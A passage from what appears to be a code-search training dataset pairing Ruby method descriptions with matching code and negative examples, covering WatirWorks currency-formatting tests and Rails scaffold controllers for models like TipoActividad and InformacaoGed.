"def validate_currency_format\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_one)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_two)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_three)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_four)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_five)\n raise 'Total is not in currency format' unless ValuesLib.check_currency_format(total_values)\n end",
"def test_Numeric_001_CommaDelimit\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Numeric_001_CommaDelimit\")\n puts2(\"#######################\")\n\n iNumber = 1\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 12\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 123\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 1234\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 1234.0\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 1234.56\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 1234.567\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = 1234.5678\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit(\",\"))\n\n iNumber = -1234567890.01\n puts2(\"Delimit \" + iNumber.to_s + \" with a comma: \" + iNumber.comma_delimit)\n\n iNumber = 1234567890.99\n puts2(\"Delimit \" + iNumber.to_s + \" with a period: \" + iNumber.comma_delimit(\".\"))\n\n iNumber = 1234567890.0123\n puts2(\"Delimit \" + iNumber.to_s + \" with a space: \" + iNumber.comma_delimit(\" \"))\n\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
End of test method test_Currency_002_Format_To_Amount ============================================================================= Testcase method: test_Currency_003_Format_From_Amount Description: Tests WatirWorks method: format_from_currency(...) Attempts to convert amounts to strings =============================================================================
|
def test_Currency_003_Format_From_Amount
puts2("")
puts2("#######################")
puts2("Testcase: test_Currency_003_Format_From_Amount")
puts2("#######################")
begin # convert_StringFromCurrency
############################
sThisTaskName = "$1,000 to 1000"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1,000".format_from_currency("$", ",", true)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1,000,000.00 to 1000000.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1,000,000.00".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "�1.000.50 to 1000"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "�1.000.50".format_from_currency("�", ".", true)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1.000.5 to 1000.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1.000.5".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1,000,000.50 to $1000000"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1,000,000.50".format_from_currency( "", ",",true)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "�1,000,000.5 to 1000000.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "�1,000,000.5".format_from_currency("�", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "0.5 to 0.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "0.5".format_from_currency("", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = ".5 to 0.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = ".5".format_from_currency("", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1. to 1.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1.".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$. to 0.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$.".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
rescue => e
puts2("Error and Backtrace: " + e.message + "\n" + e.backtrace.join("\n"),"error")
# Raise the error
raise("*** TESTCASE - test_Currency_003_Format_From_Amount")
ensure
end # convert_StringFromCurrency
end
|
[
"def test_Currency_002_Format_To_Amount\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_002_Format_To_Amount\")\n puts2(\"#######################\")\n\n begin # convert_ToCurrency\n\n ############################\n sThisTaskName = \"1000 to $1,000.00\"\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000 to �1.000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000\".format_to_currency(\"�\", \".\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \" 1000 to �1.000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \" 1000 \".format_to_currency(\"�\", \".\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000.5 to $1,000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000.5\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1.1 to $1.10\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1.1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1 to $1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n\n ############################\n sThisTaskName = \".01 to $0.01\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".01\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \".1 to $0.10\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1. to $1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1.\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.99 to 1,000,000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.99\".format_to_currency(\"\", \",\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.99 to �1.000.000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.99\".format_to_currency(\"�\", \".\")\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.999 to �1:000:000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.999\".format_to_currency(\"�\", \":\")\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n\n\n rescue => e\n\n puts2(\"*** ERROR and Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"),\"ERROR\")\n\n # Raise the error\n raise(\"*** TESTCASE - test_Currency_002_Format_To_Amount\")\n\n ensure\n\n end # convert_StringToCurrency\n\n\n end",
"def test_number_to_currency\n\t\tassert ActionView::Helpers::NumberHelper\n\t\tobj = ActionView::Base.new\n\t\tassert_respond_to obj, 'number_to_currency'\n\t\tassert_respond_to obj, 'orig_number_to_currency'\n\t\t\n\t\tassert_equal \"$1,234,567,890.51\", obj.number_to_currency(1234567890.506), \"NOTE: This currency test should fail if locale has different currency format\"\n\tend",
"def test_currency_conversion\n MGDMoney.conversion_rates(\"USD\", { \"EUR\" => 0.8 }) # configure the conversion rates\n \n twenty_dollars = MGDMoney.new(20, \"USD\") # initialize the $20 MGDMoney object\n twenty_dollars_in_eur = twenty_dollars.convert_to(\"EUR\") # convert to EUR\n twenty_dollars_in_eur_in_usd = twenty_dollars_in_eur.convert_to(\"USD\") # convert EUR back to USD\n \n assert_equal(twenty_dollars, twenty_dollars_in_eur_in_usd) # compare to original $20\n end",
"def currency_as_string; end",
"def test_convert_method\n convert_test = Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).convert( Currency.new('USD', 10), 'EUR' )\n assert_equal(Currency.new('EUR', 7.40), convert_test)\n end",
"def localize(amount, options = {})\n return unless amount\n\n # options.symbolize_keys!\n\n defaults = I18n.translate('number.format'.to_sym, locale: options[:locale], default: {})\n defaultt = I18n.translate('number.currency.format'.to_sym, locale: options[:locale], default: {})\n defaultt[:negative_format] ||= ('-' + defaultt[:format]) if defaultt[:format]\n formatcy = I18n.translate(\"number.currency.formats.#{code}\".to_sym, locale: options[:locale], default: {})\n formatcy[:negative_format] ||= '-' + formatcy[:format] if formatcy[:format]\n\n formatter = {}\n formatter[:separator] = formatcy[:separator] || defaultt[:separator] || defaults[:separator] || ','\n formatter[:delimiter] = formatcy[:delimiter] || defaultt[:delimiter] || defaults[:delimiter] || ''\n formatter[:precision] = formatcy[:precision] || precision || defaultt[:precision] || 3\n format = formatcy[:format] || defaultt[:format] || '%n-%u' # defaults[:format] ||\n negative_format = formatcy[:negative_format] || defaultt[:negative_format] || defaults[:negative_format] || '-' + format\n unit = formatcy[:unit] || self.unit || code\n\n if amount.to_f < 0\n format = negative_format # options.delete(:negative_format)\n amount = amount.respond_to?('abs') ? amount.abs : amount.sub(/^-/, '')\n end\n\n value = amount.to_s\n integers, decimals = value.split(/\\./)\n value = integers.gsub(/^0+[1-9]+/, '').gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{formatter[:delimiter]}\")\n unless decimals.to_s =~ /^\\s*$/\n value << formatter[:separator]\n value << decimals.gsub(/0+$/, '').ljust(formatter[:precision], '0').scan(/.{1,3}/).join(formatter[:delimiter])\n end\n format.gsub(/%n/, value).gsub(/%u/, unit).gsub(/%s/, \"\\u{00A0}\")\n end",
"def test_conversion_to_same_currency_code\n assert_equal Currency.new(1, :USD),\n CurrencyConverter.new.convert(Currency.new(1, :USD), :USD)\n assert_equal Currency.new(7, :EUR),\n CurrencyConverter.new.convert(Currency.new(7, :EUR), :EUR)\n end",
"def split_amount_display\n Currency.format(split_amount.abs, currency, :hide_unit => true).sub(/[.,]00$/,'')\n end",
"def convert_to(convert_currency)\n Money::Converter.new(amount, currency, convert_currency).convert \n end",
"def convert_to_dollars(amt)\n amt / 100.00\n end",
"def format_amount(amount)\n ActionController::Base.helpers.number_to_currency(amount.to_f / 100)\n end",
"def format_money(amount)\n amount = '%.2f' % amount.to_f\n return \"$#{amount}\"\nend",
"def format_amount(amount, currency)\n units = CURRENCY_SPECIAL_MINOR_UNITS[currency] || 2\n multiple = 10**units\n return ((amount || 0).to_d * multiple.to_d).to_i\n end",
"def format(amount)\n decimal, fraction = amount.round(2).to_s.split('.')\n decimal_part = decimal.\n chars.\n reverse.\n each_slice(3).\n map { |xs| xs.reverse.join }.\n reverse.\n join(\",\")\n\n \"$\" + decimal_part + \".\" + fraction.ljust(2, \"0\")\nend",
"def format_amount(amount)\n (\"%.2f\" % amount).gsub('.','').rjust(12,'0')\n end",
"def corrected_currency(line)\n if line.return_insurance?\n line.order.currency\n else\n line.currency\n end\n rescue\n \"USD\"\n end",
"def test_code_and_amount\n test = Currency.new(\"USD\", 1.66)\n assert_equal(\"USD\", test.currency_code)\n assert_equal(1.66, test.amount)\n end",
"def esteemed_price_with_currency\n self.esteemed_price.to_s + ' ' + get_currency_symbol()\n end",
"def to_usd(amt, currency)\n unless currency == \"USD\"\n path = @xml_parser.find_conversion_path(currency, \"USD\")\n amount = @xml_parser.get_rates_from_xml(path[0])\n #pp path # print the path array (for debug if you need it)\n\n #conversion = find_conversion_amt(currency, \"USD\")\n else\n conversion = BigDecimal.new('1') \n end\n amt = BigDecimal(amt)\n amount = amt * conversion\n #puts \"amount is #{amount}\"\n round_banker_style(amount)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /tipo_actividads GET /tipo_actividads.json
|
def index
@tipo_actividads = TipoActividad.all
end
|
[
"def index\n @tipoactividads = Tipoactividad.all\n end",
"def index\n @tipo_actividades = TipoActividad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @tipo_actividades }\n end\n end",
"def show\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def show\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tipo_actividad }\n end\n end",
"def index\n @actividades = Actividad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @actividades }\n end\n end",
"def lista\n @entidades = Entidade.select(\"entidade, slug, latitude, longitude, telecentro, id\").where(\"#{params[:tipo]} = true\")\n\n respond_to do |format|\n format.json { render json: @entidades }\n end\n end",
"def show\n @tipo_acc = TipoAcc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_acc }\n end\n end",
"def show\n @actividade = Actividade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actividade }\n end\n end",
"def show\n @activo = Activo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activo }\n end\n end",
"def index\n @tipo_aulas = TipoAula.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @tipo_aulas }\n end\n end",
"def show\n @tipo_aula = TipoAula.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tipo_aula }\n end\n end",
"def activos\n render :json => Producto.activo.all\n end",
"def index\n @tipo_acidentes = TipoAcidente.all\n end",
"def show\n @tipo_apuestum = TipoApuestum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_apuestum }\n end\n end",
"def show\n @tipo_de_admision = TipoDeAdmision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_de_admision }\n end\n end",
"def show\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_atendimento }\n end\n end",
"def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end",
"def index\n @actividades_secciones = ActividadSeccion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @actividades_secciones }\n end\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_contrato }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /tipo_actividads POST /tipo_actividads.json
|
def create
@tipo_actividad = TipoActividad.new(tipo_actividad_params)
respond_to do |format|
if @tipo_actividad.save
format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad se creó correctamente.' }
format.json { render :show, status: :created, location: @tipo_actividad }
else
format.html { render :new }
format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @tipo_actividad = TipoActividad.new(params[:tipo_actividad])\n\n respond_to do |format|\n if @tipo_actividad.save\n format.html { redirect_to @tipo_actividad, :notice => 'Tipo Actividad creada satisfactoriamente.' }\n format.json { render :json => @tipo_actividad, :status => :created, :location => @tipo_actividad }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tipo_actividad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_actividad = TipoActividad.new(params[:tipo_actividad])\n\n respond_to do |format|\n if @tipo_actividad.save\n format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad was successfully created.' }\n format.json { render json: @tipo_actividad, status: :created, location: @tipo_actividad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipoactividad = Tipoactividad.new(tipoactividad_params)\n\n respond_to do |format|\n if @tipoactividad.save\n format.html { redirect_to @tipoactividad, notice: 'Tipoactividad was successfully created.' }\n format.json { render :show, status: :created, location: @tipoactividad }\n else\n format.html { render :new }\n format.json { render json: @tipoactividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_acidente = TipoAcidente.new(tipo_acidente_params)\n\n respond_to do |format|\n if @tipo_acidente.save\n format.html { redirect_to @tipo_acidente, notice: 'Tipo acidente was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipo_acidente }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipo_acidente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @actividade = Actividade.new(params[:actividade])\n\n respond_to do |format|\n if @actividade.save\n format.html { redirect_to @actividade, notice: 'Actividade was successfully created.' }\n format.json { render json: @actividade, status: :created, location: @actividade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @actividade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activitat = Activitat.new(activitat_params)\n\n respond_to do |format|\n if @activitat.save\n format.html { redirect_to @activitat, notice: 'Activitat creada correctament.' }\n format.json { render :show, status: :created, location: @activitat }\n else\n format.html { render :new }\n format.json { render json: @activitat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activo = Activo.new(params[:activo])\n\n respond_to do |format|\n if @activo.save\n format.html { redirect_to @activo, notice: 'Activo was successfully created.' }\n format.json { render json: @activo, status: :created, location: @activo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_aposta = TipoAposta.new(tipo_aposta_params)\n\n respond_to do |format|\n if @tipo_aposta.save\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_aposta }\n else\n format.html { render :new }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activo = Activo.new(activo_params)\n\n respond_to do |format|\n if @activo.save\n format.html { redirect_to @activo, notice: 'Activo was successfully created.' }\n format.json { render :show, status: :created, location: @activo }\n else\n format.html { render :new }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_almacen = TipoAlmacen.new(tipo_almacen_params)\n\n respond_to do |format|\n if @tipo_almacen.save\n format.html { redirect_to @tipo_almacen, notice: 'Tipo almacen was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_almacen }\n else\n format.html { render :new }\n format.json { render json: @tipo_almacen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @aactio = Aactio.new(params[:aactio])\n\n respond_to do |format|\n if @aactio.save\n format.html { redirect_to @aactio, notice: 'Aactio was successfully created.' }\n format.json { render json: @aactio, status: :created, location: @aactio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_apuestum = TipoApuestum.new(params[:tipo_apuestum])\n\n respond_to do |format|\n if @tipo_apuestum.save\n format.html { redirect_to @tipo_apuestum, notice: 'Tipo apuestum was successfully created.' }\n format.json { render json: @tipo_apuestum, status: :created, location: @tipo_apuestum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_apuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @adjunto = Adjunto.new(adjunto_params)\n\n respond_to do |format|\n if @adjunto.save\n format.html { redirect_to @adjunto, notice: 'Adjunto was successfully created.' }\n format.json { render :show, status: :created, location: @adjunto }\n else\n format.html { render :new }\n format.json { render json: @adjunto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type_activite = TypeActivite.new(params[:type_activite])\n @type_activite.parametres_cabinet_id = current_user.parametres_cabinet_id\n\n respond_to do |format|\n if @type_activite.save\n format.html { redirect_to(@type_activite, :notice => 'Type activite was successfully created.') }\n format.xml { render :xml => @type_activite, :status => :created, :location => @type_activite }\n format.json {render :json => {\"success\"=>true,\"data\"=>@type_activite}}\n \n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @type_activite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_comida = TipoComida.new(tipo_comida_params)\n\n respond_to do |format|\n if @tipo_comida.save\n format.html { redirect_to @tipo_comida, notice: 'Tipo comida was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_comida }\n else\n format.html { render :new }\n format.json { render json: @tipo_comida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_de_admision = TipoDeAdmision.new(params[:tipo_de_admision])\n\n respond_to do |format|\n if @tipo_de_admision.save\n format.html { redirect_to @tipo_de_admision, notice: 'Tipo de admision was successfully created.' }\n format.json { render json: @tipo_de_admision, status: :created, location: @tipo_de_admision }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_de_admision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_arriendo = TipoArriendo.new(tipo_arriendo_params)\n\n respond_to do |format|\n if @tipo_arriendo.save\n format.html { redirect_to @tipo_arriendo, notice: 'Tipo arriendo was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_arriendo }\n else\n format.html { render :new }\n format.json { render json: @tipo_arriendo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destaque = Destaque.new\n @destaque.oferta = Oferta.find params[:id]\n @destaque.status = Status.find_by_descricao('Ativo')\n\n respond_to do |format|\n if @destaque.save\n format.html { redirect_to admin_destaques_path, :notice => 'Exemplo was successfully created.' }\n format.json { render :json => @destaque, :status => :created, :location => @destaque }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @destaque.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tipoaviso = Tipoaviso.new(tipoaviso_params)\n\n respond_to do |format|\n if @tipoaviso.save\n format.html { redirect_to @tipoaviso, notice: 'Tipoaviso was successfully created.' }\n format.json { render :show, status: :created, location: @tipoaviso }\n else\n format.html { render :new }\n format.json { render json: @tipoaviso.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /tipo_actividads/1 DELETE /tipo_actividads/1.json
|
def destroy
@tipo_actividad.destroy
respond_to do |format|
format.html { redirect_to tipo_actividads_url, notice: 'Tipo actividad se elimino correctamente.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @tipo_actividad = TipoActividad.find(params[:id])\n @tipo_actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_actividads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_actividad = TipoActividad.find(params[:id])\n @tipo_actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_actividades_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tipo_apuestum = TipoApuestum.find(params[:id])\n @tipo_apuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_apuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_acc = TipoAcc.find(params[:id])\n @tipo_acc.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_accs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_acidente.destroy\n respond_to do |format|\n format.html { redirect_to tipo_acidentes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_activite = TypeActivite.find(params[:id])\n @type_activite.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(type_activites_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n \n end\n end",
"def destroy\n @actestado.destroy\n respond_to do |format|\n format.html { redirect_to actestados_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to actividades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n# redirect_to activacionclientets_path # ted esto para evitar que borren por la web. ok. Que valla al index. provisional ok.\n \n #@activacionclientet.destroy\n respond_to do |format|\n format.html { redirect_to activacionclientets_url, notice: 'Activacionclientes no se puede eliminar por esta via. Contacte el administrador.' } # ted esto para evitar que borren por la web\n format.json { head :no_content }\n end\n end",
"def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiadecanato = Agronomiadecanato.find(params[:id])\n @agronomiadecanato.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiadecanatos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_contratos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_analise.destroy\n respond_to do |format|\n format.html { redirect_to tipo_analises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_demanda = TipoDemanda.find(params[:id])\n @tipo_demanda.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_demandas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividade = Actividade.find(params[:id])\n @actividade.destroy\n\n respond_to do |format|\n format.html { redirect_to actividades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipologium = Tipologium.find(params[:id])\n @tipologium.destroy\n\n respond_to do |format|\n format.html { redirect_to tipologia_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /informacoes_ged POST /informacoes_ged.json
|
def create
@informacao_ged = InformacaoGed.new(informacao_ged_params)
respond_to do |format|
if @informacao_ged.save
format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED criada com sucesso.' }
format.json { render action: 'show', status: :created, location: @informacao_ged }
else
format.html { render action: 'new' }
format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @gigibecali = Gigibecali.new(params[:gigibecali])\n\n respond_to do |format|\n if @gigibecali.save\n format.html { redirect_to @gigibecali, :notice => 'Gigibecali was successfully created.' }\n format.json { render :json => @gigibecali, :status => :created, :location => @gigibecali }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @gigibecali.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @knjige = Knjige.new(knjige_params)\n\n respond_to do |format|\n if @knjige.save\n format.html { redirect_to @knjige, notice: 'Knjige was successfully created.' }\n format.json { render :show, status: :created, location: @knjige }\n else\n format.html { render :new }\n format.json { render json: @knjige.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gelati = Gelati.new(gelati_params)\n\n respond_to do |format|\n if @gelati.save\n format.html { redirect_to @gelati, notice: \"Gelati was successfully created.\" }\n format.json { render :show, status: :created, location: @gelati }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @gelati.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gowalla_edge = GowallaEdge.new(params[:gowalla_edge])\n\n respond_to do |format|\n if @gowalla_edge.save\n format.html { redirect_to @gowalla_edge, notice: 'Gowalla edge was successfully created.' }\n format.json { render json: @gowalla_edge, status: :created, location: @gowalla_edge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gowalla_edge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @iglesia = Iglesia.new(iglesia_params)\n\n respond_to do |format|\n if @iglesia.save\n format.html { redirect_to iglesias_path, notice: \"La iglesia #{@iglesia.nombre} ha sido creada.\" }\n format.json { render action: 'show', status: :created, location: @iglesia }\n else\n format.html { render action: 'new' }\n format.json { render json: @iglesia.errors, status: :unprocessable_entity }\n end\n end\n end",
